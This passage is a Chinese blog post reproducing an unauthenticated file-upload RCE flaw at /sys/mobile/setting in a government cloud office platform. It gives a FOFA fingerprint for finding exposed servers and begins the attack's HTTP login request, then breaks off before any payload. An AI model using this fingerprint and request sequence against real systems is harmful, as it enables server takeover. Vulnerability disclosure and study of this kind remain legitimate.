数字通云平台智慧政务 /sys/mobile/setting 文件上传致RCE漏洞复现

0xSecl

已于 2024-09-20 11:09:59 修改

阅读量413

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现v1 文章标签：安全 web安全

于 2024-08-29 15:03:17 首次发布

本文链接：https://blog.youkuaiyun.com/qq_41904294/article/details/141678902

漏洞复现v1 专栏收录该内容

996 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

0x01 产品简介

数字通云平台智慧政务产品是基于云计算、大数据、人工智能等先进技术，为政府部门量身定制的智能化办公系统。该系统旨在提高政府部门的办公效率、协同能力和信息资源共享水平，推动电子政务向更高层次发展。

0x02 漏洞概述

数字通云平台智慧政务 /sys/mobile/setting 接口存在任意文件上传漏洞，未授权的远程攻击者可构造恶意请求绕过身份认证，通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。

0x03 复现环境

FOFA：body="assets/8cca19ff/css/bootstrap-yii.css"

0x04 漏洞复现

获取cookie

POST /portal/default/login HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Content-Type: application/x-www-form